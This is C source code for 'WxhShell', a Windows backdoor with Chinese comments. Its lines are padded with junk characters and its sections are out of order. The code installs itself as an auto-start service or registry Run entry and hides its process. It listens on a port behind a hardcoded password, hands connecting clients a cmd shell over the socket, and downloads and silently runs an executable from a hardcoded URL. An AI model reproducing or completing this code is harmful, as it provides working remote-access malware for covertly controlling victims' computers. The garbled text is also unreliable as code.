    if(Boot(SHUTDOWN)) !_QE|tVeR  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .RxH-]xk  
    else { V2W)%c'  
    closesocket(wsh); *r6+Vz  
    ExitThread(0); puV(eG  
    } ytf.$P  
    break; uLD%M av  
    } U]riBlg>  
  // 获取shell 5}x^0 LY  
  case 's': { _n,Ye&m  
    CmdShell(wsh); xL3-(K6e  
    closesocket(wsh); 2j9Mr  
    ExitThread(0); h2# G  
    break; \{ r%.G  
  } h.gj4/g  
  // 退出 `f,SY  
  case 'x': { Ob$| IH8.  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ftw\oGrS  
    CloseIt(wsh); hF"yxucj$  
    break; 8_US.52V  
    } dE=4tqv-r  
  // 离开 ]R~K-cN`  
  case 'q': { _w/w~;7  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); v}XMFC !  
    closesocket(wsh); nsQx\Tnhx  
    WSACleanup(); ~5<-&Dyp7  
    exit(1); I,OEor6%R(  
    break; h[b;_>7  
        } O~N0JK_>  
  } LE%3.. !  
  } 4:GVZR|-  
M<hX !B  
  // 提示信息 qn}4PVn4  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "a %5on  
} k\8]fh)J\7  
  } ln-+=jk  
{x{e?c!  
  return; )EZ#BF<0|  
} KP `{ UD)  
~1jSz-s  
// shell模块句柄 JE9SPFQx9M  
int CmdShell(SOCKET sock) {hr>m,O%  
{ Hy`Ee7>  
STARTUPINFO si; 3e+ Ih2  
ZeroMemory(&si,sizeof(si)); 4 8l!P(>?y  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; } QVREj  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; G9J+D?'hH  
PROCESS_INFORMATION ProcessInfo; Sz|;wsF{  
char cmdline[]="cmd"; P~/Gla k  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); $Zf hQ5bat  
  return 0; :_E=&4&g  
} Bj5_=oo+d  
Y -%g5  
// 自身启动模式 V +j58Wuf  
int StartFromService(void) s{\USD6  
{ lArYlR }  
typedef struct FGY4u4y  
{ = s^KZV  
  DWORD ExitStatus; =oz$uD}?  
  DWORD PebBaseAddress; tfW*(oU  
  DWORD AffinityMask; $Tci_(V=F  
  DWORD BasePriority; ?UCK  
  ULONG UniqueProcessId; T<1* R>el  
  ULONG InheritedFromUniqueProcessId; {,61V;Bpm  
}   PROCESS_BASIC_INFORMATION; [9dW9[Z+!  
,$BbJQ5  
PROCNTQSIP NtQueryInformationProcess; O}5mDx  
qP=4D 9 ]  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; J%]< /J  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; -8H0f- 1  
(`<X9w,  
  HANDLE             hProcess; f'._{"  
  PROCESS_BASIC_INFORMATION pbi; w ryjs!  
M|IR7OtLV  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); j_ i/h "  
  if(NULL == hInst ) return 0; faH113nc  
fR[kjwX)<1  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules");  n aE;f)  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); sTeW4Hnp  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); !jZXh1g%  
B=?4; l7  
  if (!NtQueryInformationProcess) return 0; E{+V_.tlu  
Qv=F'  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); N6yPuH  
  if(!hProcess) return 0; ]@YBa4}w  
5R"My^G  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 2w6 y  
~Iw7Xq E2  
  CloseHandle(hProcess); &+]x  
rBR,lS$4  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); =To}yJ#  
if(hProcess==NULL) return 0; QfqosoP\D  
l Q/u#c$n  
HMODULE hMod; x`:zC#  
char procName[255]; (prqo1e@  
unsigned long cbNeeded; o ;nw;]oR  
rq=D[vX\N(  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); <*I%U]  
?}<4LK]  
  CloseHandle(hProcess); ipy1tXc  
Qry?h*p+`  
if(strstr(procName,"services")) return 1; // 以服务启动 Wl!|+-  
;#c=0*.  
  return 0; // 注册表启动 OX|nYTp  
} L O)&|9xw  
x%<oeM3U  
// 主模块 ?&v+-4%4PI  
int StartWxhshell(LPSTR lpCmdLine) 0V:7pSC{P  
{ F/1B>2$`  
  SOCKET wsl; J~dk4D\  
BOOL val=TRUE; lI#Ap2@  
  int port=0; 7ip$#pzo  
  struct sockaddr_in door; Qy!*U%tG'  
yc ize2>q  
  if(wscfg.ws_autoins) Install(); &,vPZ,7l  
FwD"Pc2  
port=atoi(lpCmdLine); doeYc  
Ci{,e%  
if(port<=0) port=wscfg.ws_port; GI:J9TS  
~{- zj  
  WSADATA data; C9+`sFau@  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; `+Ko{rf+9  
+\r=/""DW  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   4@|"1D3  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 7&ty!PpD  
  door.sin_family = AF_INET; A}K2"lQ#>,  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 9WE_9$<V  
  door.sin_port = htons(port); lN@SfM4\  
!2]eVO  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { df@r2 /Y  
closesocket(wsl); OB-gH3:  
return 1; *>b*I4dz  
} j2\B(PA  
V)HX+D>  
  if(listen(wsl,2) == INVALID_SOCKET) { P[E:=p  
closesocket(wsl); frsqnvm;+  
return 1; mBb;:-5  
} Yfro^}f  
  Wxhshell(wsl); qyA%_;ReMY  
  WSACleanup(); UvR F\x%  
6Ja } N  
return 0; {[Bo"a>%  
yWsJa)e3*@  
} uU+R,P0  
kH&KE5  
// 以NT服务方式启动 8v eG^o  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ~96fyk|  
{ 4.>rd6BAN-  
DWORD   status = 0; I.V?O}   
  DWORD   specificError = 0xfffffff; k5s8s@  
a!OS2Tz:  
  serviceStatus.dwServiceType     = SERVICE_WIN32; TgFj- "L\  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; j%7N\Vb  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; fV}:eEo|Y  
  serviceStatus.dwWin32ExitCode     = 0; }F v:g!  
  serviceStatus.dwServiceSpecificExitCode = 0; ~3 ,>TV  
  serviceStatus.dwCheckPoint       = 0; OC(S"&D  
  serviceStatus.dwWaitHint       = 0; '*`25BiQ  
w]<a$C8*y:  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); OHEl.p]|  
  if (hServiceStatusHandle==0) return; pi/Jto25z  
6p;G~,bd~  
status = GetLastError(); dCbRlW  
  if (status!=NO_ERROR) |Z ), OW  
{ (4;m*' X  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; +>v3&[lGv  
    serviceStatus.dwCheckPoint       = 0; q\0CS>.  
    serviceStatus.dwWaitHint       = 0; 4V2}'/|[  
    serviceStatus.dwWin32ExitCode     = status; Nn`l+WA3  
    serviceStatus.dwServiceSpecificExitCode = specificError; 6bv~E.  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ib8*rL0p<L  
    return; {=Z xF  
  } <FaF67[Q  
8XS_I{}?  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; HUP~  
  serviceStatus.dwCheckPoint       = 0; )sONfn  
  serviceStatus.dwWaitHint       = 0; uItzFX*   
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); .m r& zq  
} J(0E'o{ug  
!z EW)  
// 处理NT服务事件,比如:启动、停止 EISgc {s  
VOID WINAPI NTServiceHandler(DWORD fdwControl) *9XKkR<r  
{ MKl`9 Y3Ge  
switch(fdwControl) CtEpS<*c  
{ TnuNoMD.  
case SERVICE_CONTROL_STOP: !+<OED=qe  
  serviceStatus.dwWin32ExitCode = 0; Z}b25)  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; G)(vd0X1  
  serviceStatus.dwCheckPoint   = 0; fu=GgD*  
  serviceStatus.dwWaitHint     = 0; <%_7%  
  { D@O#P^?  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ( pDu  
  } G}|!Jdr  
  return; As5*)o"&  
case SERVICE_CONTROL_PAUSE: "UNWbsn6Qr  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 9A7LDHst7  
  break; *h <_gn  
case SERVICE_CONTROL_CONTINUE: -VC k k  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; -l:4I6-hi  
  break; _S$ SL%;\  
case SERVICE_CONTROL_INTERROGATE:  xJ&E2Bf  
  break; RWX?B  
}; 3Ygt!  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4V6^@   
} sxP1. = W  
vO?\u`vY  
// 标准应用程序主函数 }|KNw*h $  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) @zQ.d{  
{ d ynq)lf  
g-4m.;  
// 获取操作系统版本 yA+ NRWWj  
OsIsNt=GetOsVer(); 88]4 GVi  
GetModuleFileName(NULL,ExeFile,MAX_PATH); NZ|(#` X  
bXiOf#:''  
  // 从命令行安装 cs-wqxTX[$  
  if(strpbrk(lpCmdLine,"iI")) Install(); ?W27 h  
/s/\5-U7q  
  // 下载执行文件 zUQn*Cio e  
if(wscfg.ws_downexe) { iNlY\67sW  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 2#i*'.  
  WinExec(wscfg.ws_filenam,SW_HIDE); j\LJ{?;jC  
} e >6NO  
E"/r*C+T  
if(!OsIsNt) { dE_d.[!  
// 如果时win9x,隐藏进程并且设置为注册表启动 EF8~rKO3  
HideProc(); +o ;}*  
StartWxhshell(lpCmdLine); pHftz-RS!  
} 7NFRCCXHQ  
else X2[d15!9  
  if(StartFromService()) 2HX#:y{\l  
  // 以服务方式启动 i".nnAI:  
  StartServiceCtrlDispatcher(DispatchTable); )j_Y9`R  
else [& d"Z2gK  
  // 普通方式启动 u/ Gk>F  
  StartWxhshell(lpCmdLine); /b;GC-"v  
j#f7-nHyz8  
return 0; @L-] %C  
} K/;*.u`:  
J#/L}h;qH  
##\ <mFE  
Xc}~_.]  
=========================================== ((AsZ$[S  
bTd94  
,B'n0AO/'  
pm4'2B|)g  
F7"v}K]X  
; *ZiH%q,  
" n N_Ylw  
9w:F_gr  
#include <stdio.h> ]lgI Q;r  
#include <string.h> W3gBLotdg  
#include <windows.h> Vlf=gP  
#include <winsock2.h> s?9$o Qq1  
#include <winsvc.h> \* /R6svz  
#include <urlmon.h> E*W|>2nx]  
JYesk  
#pragma comment (lib, "Ws2_32.lib") (Qp53g  
#pragma comment (lib, "urlmon.lib") (c\i.z  
PF+SHT'4}#  
#define MAX_USER   100 // 最大客户端连接数 [ U`})  
#define BUF_SOCK   200 // sock buffer TIIwq H+h.  
#define KEY_BUFF   255 // 输入 buffer A`I;m0<  
4e!>A  
#define REBOOT     0   // 重启 M3EB=tU  
#define SHUTDOWN   1   // 关机 D=!T,p=  
D|gI3i  
#define DEF_PORT   5000 // 监听端口 g,O3\jjQ  
I;5:jT`  
#define REG_LEN     16   // 注册表键长度 >39\u &)  
#define SVC_LEN     80   // NT服务名长度 wRCv?D`vV  
k3- 7Vyg  
// 从dll定义API .~C[D T+,  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); nuucYm%IF-  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); !]l!I9  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); $j"TPkW{M  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); qJZ:\u8oO  
bkSI1m3  
// wxhshell配置信息 W*!u_]K>  
struct WSCFG { !C>'a:  
  int ws_port;         // 监听端口 \)/dFo\l  
  char ws_passstr[REG_LEN]; // 口令 BK[ YX)  
  int ws_autoins;       // 安装标记, 1=yes 0=no 9C"d7--  
  char ws_regname[REG_LEN]; // 注册表键名 Eo@b)h  
  char ws_svcname[REG_LEN]; // 服务名 {sR|W:fS$  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 79y'PFSms  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 b'mp$lt!  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 [CAV"u)0  
int ws_downexe;       // 下载执行标记, 1=yes 0=no sI% =G3o=  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" )2Dm{T  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 MVYf-'\^  
Pf?zszvs  
}; h;RKF\U:"  
E!6Nf[  
// default Wxhshell configuration M!Wjfq ^~  
struct WSCFG wscfg={DEF_PORT, a(|,KWHn  
    "xuhuanlingzhe", 92pl#Igt  
    1, qCUn. mI  
    "Wxhshell", vbMt}bM(GD  
    "Wxhshell", Dxx`<=&g  
            "WxhShell Service", JZom#A. dt  
    "Wrsky Windows CmdShell Service", eI:;l];G9  
    "Please Input Your Password: ", :WM[[LOaC  
  1, ns}"[44C}l  
  "http://www.wrsky.com/wxhshell.exe", q*pWx]Y  
  "Wxhshell.exe" =e!o  
    };  o8h1  
4)OM58e}  
// 消息定义模块 iO2%$Jw9\  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; /t;Kn m  
char *msg_ws_prompt="\n\r? for help\n\r#>"; >"%}x{|  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; >ZjGs8&  
char *msg_ws_ext="\n\rExit."; 8^U+P%  
char *msg_ws_end="\n\rQuit."; YgCSzW&(  
char *msg_ws_boot="\n\rReboot..."; cd-; ?/  
char *msg_ws_poff="\n\rShutdown..."; 9?i~4&EY  
char *msg_ws_down="\n\rSave to "; ]fb3>HOTJ  
NkYU3[m$v  
char *msg_ws_err="\n\rErr!"; >}|Vmy[/  
char *msg_ws_ok="\n\rOK!"; ,K 1X/),  
'H|=]n0  
char ExeFile[MAX_PATH]; !3J YG  
int nUser = 0; ?T\_"G  
HANDLE handles[MAX_USER]; xZ.c@u6:  
int OsIsNt; t^KoqJ  
G&f~A;'7k  
SERVICE_STATUS       serviceStatus; go[(N6hN  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; X{-[ E^X  
Vv<Tjr  
// 函数声明 hn p-x3  
int Install(void); ??g`c=R!V  
int Uninstall(void); hrZ=8SrW  
int DownloadFile(char *sURL, SOCKET wsh); se,0Rvkt  
int Boot(int flag); 7$/%c{o  
void HideProc(void); Kulh:d:w  
int GetOsVer(void); HyX:4f|]'  
int Wxhshell(SOCKET wsl); rZSX fgfr  
void TalkWithClient(void *cs); -)dS`hM  
int CmdShell(SOCKET sock); Ua](o H  
int StartFromService(void); B(l8&  
int StartWxhshell(LPSTR lpCmdLine); GT(nW|v  
C?h`i ^ >2  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); UW@BAj@^@  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); qTd6UKg  
7]&ouT  
// 数据结构和表定义 1}>uY  
SERVICE_TABLE_ENTRY DispatchTable[] = M>kk"tyM  
{ CDRkH)~$  
{wscfg.ws_svcname, NTServiceMain}, TexSUtx@$  
{NULL, NULL} g#b uy  
}; VfON{ 1g  
cJQ&#u  
// 自我安装 1-6[KBQ8  
int Install(void) S`v+rQjW  
{ FaVeP%v  
  char svExeFile[MAX_PATH]; gXThdNU4G  
  HKEY key; o;\c$|TNU  
  strcpy(svExeFile,ExeFile); @w]z"UCwV@  
N-9qNLSP  
// 如果是win9x系统,修改注册表设为自启动 SGUu\yS&s  
if(!OsIsNt) { LnY`f -H  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { [Dou%\  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )VoQ/ch<  
  RegCloseKey(key); <6L=% \X{*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1;$8=j2  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $,v[<T`  
  RegCloseKey(key); !(L\X'jH  
  return 0; sM0o,l(5  
    } oPVyLD  
  } D3i`ehh  
} 5lp};  
else { IQ3]fLb  
^>H+#@R  
// 如果是NT以上系统,安装为系统服务 G"._]3 CPF  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); K,o@~fj  
if (schSCManager!=0) 28rC>*+z  
{ 057$b!A-a  
  SC_HANDLE schService = CreateService Q*h%'oc`  
  ( jh|4Y(  
  schSCManager, SSh=r  
  wscfg.ws_svcname, +&:?*(?Q  
  wscfg.ws_svcdisp, v!b 8_0~u6  
  SERVICE_ALL_ACCESS, :(o6^%x  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , oy?>e1Sy*  
  SERVICE_AUTO_START, 5|^{t00T~  
  SERVICE_ERROR_NORMAL, ['l.]k-b}  
  svExeFile, pHpHvSI  
  NULL, YKZk/m&H  
  NULL, c'8a)j$$+  
  NULL, 5HAIKc  
  NULL, Q|+g= |%^  
  NULL b5v6Y:f&fK  
  ); q%Fc?d9  
  if (schService!=0) Ad@Odx=o*R  
  { y?1<7>L5~  
  CloseServiceHandle(schService); QxjX:O  
  CloseServiceHandle(schSCManager); nR()ei^X  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); [=xJh?*P  
  strcat(svExeFile,wscfg.ws_svcname); on=I*?+R  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 01P ~K|s  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); :?}U Z#  
  RegCloseKey(key); l*+5WrOS  
  return 0; _P]!J~$5  
    } ZJ7<!?6  
  } xQetAYP`  
  CloseServiceHandle(schSCManager); ggR--`D[  
} .{@aQwN  
} 0/F/U=Z!  
sivd@7r\Fa  
return 1; mGK-&|gq  
} ra'h\m  
m<cvx3e  
// 自我卸载 k;?Oi?]  
int Uninstall(void) +[sZE X  
{ @/ m|T]'8  
  HKEY key; ctzaqsr  
+.RC{o,  
if(!OsIsNt) { jD eNCJ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %%w/;o!c  
  RegDeleteValue(key,wscfg.ws_regname); jW G=k#WN  
  RegCloseKey(key); / W,K% s]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { i(k]}Di:  
  RegDeleteValue(key,wscfg.ws_regname); 8sV_@<l<X  
  RegCloseKey(key); aeBA`ry"B  
  return 0;  / hl:p  
  } =`l).GnN2`  
} { _]'EK/w  
} 5"]t{-PD  
else { >,JA=s  
y+P iH  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); bxS+ R\  
if (schSCManager!=0) D3>;X=1  
{ gtBnP~zT\B  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Ve1O<i  
  if (schService!=0) T|c9Swu r  
  { 2+Tu"oG;rB  
  if(DeleteService(schService)!=0) { 0{ O|o_  
  CloseServiceHandle(schService); y<<:6OBj  
  CloseServiceHandle(schSCManager); P2+Z^J`Y>  
  return 0; h]#wwJF  
  } )/hb9+S  
  CloseServiceHandle(schService); SgOn:xg;3L  
  }  MR/8  
  CloseServiceHandle(schSCManager); -[I}"Glz:  
} Pkm3&sW  
} H9^DlIv('  
2A+I8/zRG  
return 1; *1Lkde@|{  
} f8DF>]WW  
RtR5ij1  
// 从指定url下载文件 t1)~J  
int DownloadFile(char *sURL, SOCKET wsh) ?Q< o-o;B  
{ S&C  
  HRESULT hr; l&z)Q/>?pZ  
char seps[]= "/"; 5Y4 i|R  
char *token; zLs[vg.(  
char *file; LZCziW  
char myURL[MAX_PATH]; l1|z; $_z  
char myFILE[MAX_PATH]; 4gTD HQP  
}- Jw"|^W  
strcpy(myURL,sURL); DJtKLG0  
  token=strtok(myURL,seps); mv1_vF:  
  while(token!=NULL) QDRgVP  
  { `dYM+ jpa  
    file=token; -1Luyuy/`  
  token=strtok(NULL,seps); 39W6"^q"o  
  } 6E!CxXUX  
>?$+hZz<  
GetCurrentDirectory(MAX_PATH,myFILE); 0nF>E@j^[  
strcat(myFILE, "\\"); mxYsP6&  
strcat(myFILE, file); 2[\I{<2/9  
  send(wsh,myFILE,strlen(myFILE),0); 7DU"QeLeb  
send(wsh,"...",3,0); 3zO'=gwJ  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); rf%E+bh4  
  if(hr==S_OK) ,Z7tpFC  
return 0; '~^3 =[Z  
else dnby&-+T  
return 1; g2=5IU<  
LDJ=<c!  
} fR>(b?C  
V4RtH  
// 系统电源模块 Q1G?e,Q  
int Boot(int flag) He4sP` &I  
{ 3q=A35*LT>  
  HANDLE hToken; w,\#)<boyb  
  TOKEN_PRIVILEGES tkp; o,!r t1&0  
b@OL !?JP  
  if(OsIsNt) { y7 I')}SC  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); |]5g+sd  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); V}#2pP  
    tkp.PrivilegeCount = 1;  H4HWr6  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; fz`+j -u  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); x,\PV>   
if(flag==REBOOT) { a*}ZT,V  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Z=sCYLm  
  return 0; )+[{MR '  
} NXv u}&H  
else { \ORNOX:  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) $vS`w4Y  
  return 0; 3N?WpA768/  
} FTtGiGd|Zy  
  } D?u*^?a2  
  else { .)W'{2J-  
if(flag==REBOOT) { lc%2Pi[X  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) SC~cryb  
  return 0; Ks.pb !r  
} @`N)`u85[  
else {  0u4:=Z}W  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) $1N_qu  
  return 0; Hnwir!=7  
} m8Q6ESg<*u  
} d jeax  
G)b6Rit  
return 1; :^DuB_  
} ellj/u61bj  
iPMI$  
// win9x进程隐藏模块 T jO}P\p  
void HideProc(void) s4 o-*1R*`  
{ l>RW&C&T  
g?ID}E ~<  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); #c V_p  
  if ( hKernel != NULL ) }bG|(Wp9  
  { nT0FonK>  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); W@w#A]  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); o$4n D#P3  
    FreeLibrary(hKernel); L Ty [)  
  } bz[+g,e2oA  
+Io[o6*  
return; @|xcrEnP}B  
} qby!  
1(`>9t02/?  
// 获取操作系统版本 dA[Z\  
int GetOsVer(void) "E;]?s9x  
{ j_E$C.XU{g  
  OSVERSIONINFO winfo; T<\Q4Coth  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); { Slc6$  
  GetVersionEx(&winfo); I\O<XJO)_  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) B:=*lU.n  
  return 1; q<rB(j-(  
  else Ti }Ljp^O  
  return 0; bWK}oYB*  
} Pe w-6u"  
p]uwGWDI  
// 客户端句柄模块 ir<HC 'D[  
int Wxhshell(SOCKET wsl) ]<mXf~zg  
{ BlQu9{=n  
  SOCKET wsh; tWYKW3~]  
  struct sockaddr_in client; N5 SK_+  
  DWORD myID; -C wx %  
ZYoWz(  
  while(nUser<MAX_USER)  q&0Jl  
{ -A>1L@N  
  int nSize=sizeof(client); [ZS}P  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize);  Hq h  
  if(wsh==INVALID_SOCKET) return 1; *p{wC r  
8Letpygm  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Hd6g0  
if(handles[nUser]==0) [ "}0umt  
  closesocket(wsh); R=~+-^O!  
else U]lXw+&  
  nUser++; k/W$)b:Of`  
  } zFh JLH*C  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); lL~T@+J~  
0t<]Uf  
  return 0; +]/_gz  
} eLcP.;Z  
EUj'%;s z-  
// 关闭 socket WR=e$ ;  
void CloseIt(SOCKET wsh) MNNPBE  
{ |:n4t6  
closesocket(wsh); FA ?xp1E  
nUser--; U@dztX@u  
ExitThread(0); r# 5))q-  
} 3Xaw  
,{A-<=6t  
// 客户端请求句柄 bS _!KU  
void TalkWithClient(void *cs) j"*ZS'0  
{ mXT{)pU  
$Ml/=\EHOg  
  SOCKET wsh=(SOCKET)cs; PA;RUe  
  char pwd[SVC_LEN]; r'M|mQ$s>  
  char cmd[KEY_BUFF]; l?v-9l M  
char chr[1]; #*;(%\q}  
int i,j; Fxy-_%a  
g5/%}8[- 2  
  while (nUser < MAX_USER) { FLJdnL  
k6-Q3W[+a  
if(wscfg.ws_passstr) { vRYQ4B4o  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Yw<K!'C  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); pc<")9U%/  
  //ZeroMemory(pwd,KEY_BUFF); WK]SHiHD  
      i=0; zr%lBHuW  
  while(i<SVC_LEN) { #q40  >)]  
iy Zs:4jkc  
  // 设置超时 PhF3' ">  
  fd_set FdRead; ?J,hv'L]  
  struct timeval TimeOut; &*RJh'o|N(  
  FD_ZERO(&FdRead); =YkJS%)M)  
  FD_SET(wsh,&FdRead); d paZ6g  
  TimeOut.tv_sec=8; 2`/JT  
  TimeOut.tv_usec=0; wy"^a45h  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ET1/oG<@  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); I&qT3/SVI  
+Ck F#H ~  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); nY"9"R\.=  
  pwd=chr[0]; Mh>H5l.1i  
  if(chr[0]==0xd || chr[0]==0xa) { ufm`h)N  
  pwd=0; $+)2CXQe5  
  break; ;|e{J$  
  } qYc]Y9fi  
  i++; 72@raA#y  
    } l~Je ]Qt  
 FqAW><  
  // 如果是非法用户,关闭 socket :Eq=wbAw  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); s2L|J[Y"s  
} pXPwn(  
#bgW{&_ y  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); vU LlAQG  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); IwhZzw w  
S',i  
while(1) { w35r\x +  
{X<mr~  
  ZeroMemory(cmd,KEY_BUFF); 7F.t>$'  
U8kH'OD  
      // 自动支持客户端 telnet标准   !tBNA  
  j=0; 7 N+;K0  
  while(j<KEY_BUFF) { *`[dC,+`.  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Px5ArSS  
  cmd[j]=chr[0]; My0h9'K  
  if(chr[0]==0xa || chr[0]==0xd) { ~` v 7  
  cmd[j]=0; @kC>+4s!  
  break; >K**SjVG  
  } <n< @ O5  
  j++; fRC(Yyx  
    } gsd9QW  
ja*k\w{U'  
  // 下载文件 tJo,^fdfv  
  if(strstr(cmd,"http://")) { zd AqGQfc  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); &-W5 T?Sl  
  if(DownloadFile(cmd,wsh)) 2f ]CnD0$  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); tmiRv.Mhn<  
  else "I?sz)pxG  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); awN{F6@ZE  
  } @=q,,t$r  
  else { @54,I  
X~t]qT  
    switch(cmd[0]) { XH&Fn+  
  3>qUYxG8  
